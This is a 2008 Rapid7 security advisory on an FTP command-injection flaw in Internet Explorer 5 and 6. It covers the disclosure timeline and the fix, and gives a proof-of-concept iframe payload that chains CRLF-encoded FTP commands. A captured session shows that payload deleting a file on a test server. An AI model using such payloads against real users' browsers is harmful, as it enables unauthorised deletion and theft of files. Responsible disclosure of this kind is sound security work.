Back to Advisories

Advisories

Rapid7 Advisory R7-0032: Microsoft Internet Explorer FTP Command Injection Vulnerability

Summary

March 10, 2008 - Internet Explorer 5 and 6 are vulnerable to a File Transfer Protocol (FTP) CSRF-like command injection attack, whereby an attacker could execute arbitrary commands on an unsuspecting user's authenticated or unauthenticated FTP session. An attacker could delete, rename, move, and possibly steal data and upload malicious files to an FTP server under the attacker's control, on behalf of the user.

Affected system(s):

KNOWN VULNERABLE:

  • Internet Explorer 6 (all versions)
  • Internet Explorer 5 (all versions)

NOT VULNERABLE:

  • Internet Explorer 7

Vendor Info

Microsoft Corporation
http://www.microsoft.com/

Microsoft was notified of this vulnerability on January 22, 2008. They acknowledged the vulnerability on February 7, 2008 and were given 30 days to provide fix information.

Solution

The vendor plans to release a patch for this issue in an upcoming security bulletin. If possible, upgrade to Internet Explorer 7.

Detailed Analysis

The error occurs when a user visits a page containing a malicious FTP URL. Internet Explorer 5 and 6 decode and do not properly sanitize the supplied URL. It is possible to force Internet Explorer to chain FTP commands together by inserting URL encoded CRLF pairs after each command in the URL supplied by an HTML element.

<iframe src="ftp://user@site:port/%0D%0ADELE%20foo.txt%0D%0A//"/>

Moreover, if two forward slashes are appended to the end of the maliciousURL, Internet Explorer will attempt to use an already pre-authenticated connection established earlier by the user in the same browser session.

If the user has a pre-authenticated connection to an FTP server, anattacker, knowing the username and endpoint of that pre-authenticated connection, could piggyback on the user's session to execute arbitrary commands. A pre-authenticated connection is not necessary to carry out this attack, as Internet Explorer will attempt an anonymous login if no username is specified in the URL. If only the username is specified and no trailing forward slashes are appended to the string, Internet Explorer will send the username with a blank password (which may be sufficient for more obscure anonymous user accounts). If no username is specified, Internet Explorer will attempt to login using the 'IEUser@' user.

Successful execution of some attacks may depend on the command tokenizing strategy used by the target FTP server and the security configuration on the FTP server (for instance, most FTP servers do not allow PORT requests for endpoints which do not have the same address as the requesting client).

In testing, Internet Explorer 6 SP2 required the two trailing forward slashes for the exploit to work correctly. Internet Explorer 6 SP1 did not have this restriction. Internet Explorer 7 is not vulnerable to this issue, as it correctly sanitizes the URL before attempting to make the request on the FTP server.

Demonstration of the exploit piggybacking on a pre-authenticated connection (malicious URL with two trailing forward slashes) with IE6 SP2:

Malicious URI: ftp://admin@10.2.45.237/%0D%0ADELE%20foo.txt%0D%0ACWD//

--> Welcome banner
220 debian FTP server (Version wu-2.6.2(2) Tue Mar 20 18:26:53 PST 2007) ready.

<-- IE6 Requests a user
USER admin

--> FTP server requires password
331 Password required for admin.

<-- IE6 supplies password.
PASS admin

--> FTP Server responds with successful login.
230 User admin logged in.

<-- IE6 tests 'OPTS UTF8' option.
opts utf8 on

--> Server responds with negative permanent reply to OPTS request.
500 'OPTS utf8 on': command not understood.

<-- IE6 asks for the present working directory.
PWD

--> Server sends positive completion reply for PWD.
257 "/home/admin" is current directory.

<-- IE6 requests malicious FTP URI from an iframe in HTML doc
CWD /home/admin/
DELE foo.txt
CWD/

--> Server responds with positive completion for CWD
250 CWD command successful.

<-- IE6 sends a 'TYPE A' request
TYPE A

--> Server responds with positive completion for DELE
250 DELE command successful.

<-- IE6 sends a NOOP.
noop

--> Server sends negative permanent response for last (invalid) command.
500 'CWD/': command not understood.

And the file no longer exists.

Credit: Discovered by Derek Abdine of Rapid7.

Disclaimer & Copyright

Rapid7, LLC is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

This advisory Copyright (C) 2008 Rapid7, LLC. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.